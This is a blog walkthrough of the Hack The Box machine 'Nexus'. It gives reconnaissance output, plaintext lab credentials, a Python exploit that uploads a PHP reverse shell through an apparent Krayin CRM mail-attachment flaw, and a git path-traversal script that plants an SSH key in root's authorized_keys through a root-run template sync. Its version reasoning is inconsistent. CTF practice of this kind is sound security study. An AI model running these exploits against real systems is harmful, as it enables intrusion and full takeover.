← All blogs Sagnik Ghosh

Nexus: HTB Walkthrough

Port Scanning

naabu -host 10.129.75.112 -p - -nmap-cli "nmap -sC -sV" -verbose
10.129.75.112:22
10.129.75.112:80

Running an nmap scan on the found ports

nmap -sC -sV -p80,22 10.129.75.112 -A
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 27.530 days (since Sat Jul  4 09:03:12 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   310.07 ms 10.10.14.1
2   290.29 ms 10.129.75.112

80/tcp

Now, we fuzz for virtual hosts,

ffuf -u http://nexus.htb -H 'Host: FUZZ.nexus.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154
billing                 [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 327ms]
git                     [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 255ms]

Inspecting the gitea instance, we find a .env file committed and find sensitive credentials in it ....

I enumerated some of the emails into the forget password endpoint and got a hit on j.matthew@nexus.htb

Final creds that worked:

email: j.matthew@nexus.htb
password: N27xh!!2ucY04

I found a recent exploit CVE-2026-36340 in Krayin CRM, specifically affecting version 2.1.5 via the compose email function.

Present Version: 2.2.0, hence vulnerable

Reference : https://github.com/cybercrewinc/CVE-2026-36340

I developed this custom python PoC script

import requests
from urllib.parse import unquote
from bs4 import BeautifulSoup

# ---------------Config---------------------

BASE_URL = "<BASE_URL>"

# Auth creds
email = "<email>"
password = "<password>"


# ------------------------------------------

session = requests.Session()


def extract_token(field="_token", attr="input"):

    resp = session.get(f"{BASE_URL}/admin/login", verify=False)
    soup = BeautifulSoup(resp.text, "html.parser")

    token_input = soup.find(attr, {"name": field})

    if not token_input:
        raise ValueError(f"Could not extract _token from html")

    return token_input.get("value")


def login(csrf_token, email, password):
    data = {
        "_token": csrf_token,
        "email": email,
        "password": password,
    }
    resp = session.post(f"{BASE_URL}/admin/login", data=data, verify=False)

    print("[+] Logged In ...")


def mail_create():

    xsrf_token = unquote(session.cookies.get("XSRF-TOKEN"))

    headers = {
        "X-Requested-With": "XMLHttpRequest",
        "X-XSRF-TOKEN": xsrf_token,
        "Referer": f"{BASE_URL}/admin/mail/inbox",
    }

    print("[*] Creating mail with revshell ...")
    data = {
        "id": "",
        "reply_to[0]": "hacker@hacker.com",
        "temp-reply_to": "",
        "subject": "RCE please",
        "reply": "<p>Remote Code Execution</p>",
        "is_draft": "0",
    }

    files = {
        "attachments[]": (
            "revshell.php",
            open("revshell.php", "rb"),
            "application/x-php",
        ),
    }

    resp = session.post(
        f"{BASE_URL}/admin/mail/create",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    resp.raise_for_status()
    print(f"[+] Mail created ... {resp.status_code}")
    return resp


def extract_url_and_get(resp):
    print("[*] Step 5: Extracting URL from response")

    url = resp.json().get("data").get("attachments")[0].get("url")  # if JSON response

    if not url:
        raise ValueError("Could not extract URL from response")

    print(f"[+] Extracted URL: {url}")
    final_resp = session.get(url, verify=False)
    print(f"[+] Final GET status: {final_resp.status_code}")


def main():
    token = extract_token()

    login(token, email, password)
    resp = mail_create()
    extract_url_and_get(resp)


if __name__ == "__main__":
    main()

Have your revshell.php in the same folder as this script and open a listener for the used port in the revshell code and you will get a shell...

This exploit did workout and i got the shell.

I inspected the .env folder and it had a different db_password -> y27xb3ha!!74GbR

You can see the users at

I tried it as a password by ssh for user jones and i got in as jones.

So, I completed the first part which is getting the user flag. Now onto rooting the machine.

Let's run linpeas.sh

There is not internet connection in the box, so it cannot fetch directly from github. We will transfer the file from our machine by setting up a python server.

Linpeas findings ---->

We see a odd kind of timer running for the gitea instance called gitea-template-sync.service

We view the service and got to know about a python file it was running

The python file : at /etc/gitea/template-sync.py run as root

The script is basically copying out all the files in all template repos into a directory and it follows the exact directory and subdirectory structure. This makes it vulnerable. If we can create a structure like this

└── ..  
	└── ..  
		└── ..  
			└── ..  
				└── root  
					└── .ssh  
						└── authorized_keys

We can basically copy our key to authorized_keys and login by ssh into root

That's exactly what we are going to do

First of all we need to create a repo and login into gitea first.

The ssh creds work for jones are also valid for jones's gitea account and we log in as jones into gitea.

We create a repo which is a template, very important step

No we create our pair of keys using in the /tmp folder

ssh-keygen -f ./key -N ''

Now we clone the repository our repo and create that folder structure. We do this with this script..

#!/usr/bin/env python3  
import hashlib,zlib,os,subprocess,sys,time  
  
def write_obj(data,t):  
h=("%s %d"%(t,len(data))).encode()+b"\x00"  
s=h+data  
sha=hashlib.sha1(s).hexdigest()  
d=os.path.join(".git","objects",sha[:2])  
os.makedirs(d,exist_ok=True)  
p=os.path.join(d,sha[2:])  
if not os.path.exists(p):  
open(p,"wb").write(zlib.compress(s))  
return sha  
  
def entry(mode,name,sha):  
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)  
  
if not os.path.isdir(".git"):  
print("Run inside git repo");sys.exit(1)  
  
r=subprocess.run(["cat","/tmp/key.pub"],capture_output=True,text=True)  
if r.returncode!=0:  
print("ssh-keygen -f /tmp/key -N ''");sys.exit(1)  
key=r.stdout.strip()+"\n"  
  
blob=write_obj(key.encode(),"blob")  
readme=write_obj(b"# Template\n","blob")  
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")  
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")  
fir=write_obj(entry("40000","root",cur),"tree")  
for i in range(4):  
fir=write_obj(entry("40000","..",fir),"tree")  
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")  
ts=int(time.time())  
c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(root,ts,ts)  
sha=write_obj(c.encode(),"commit")  
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)  
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")  
print("Done: "+sha)

Repo Clone cmd:

$ git clone http://jones:'<password>'@localhost:3000/jones/<your_repo>.git

Run the script and push the changes

$ cd <your_repo> 
$ python3 exploit.py  
$ git push -u origin main --force

Change your perms of private key to use it as ssh_auth

chmod 600 key 

Get into root

ssh -i /tmp/key root@localhost

Voila !!!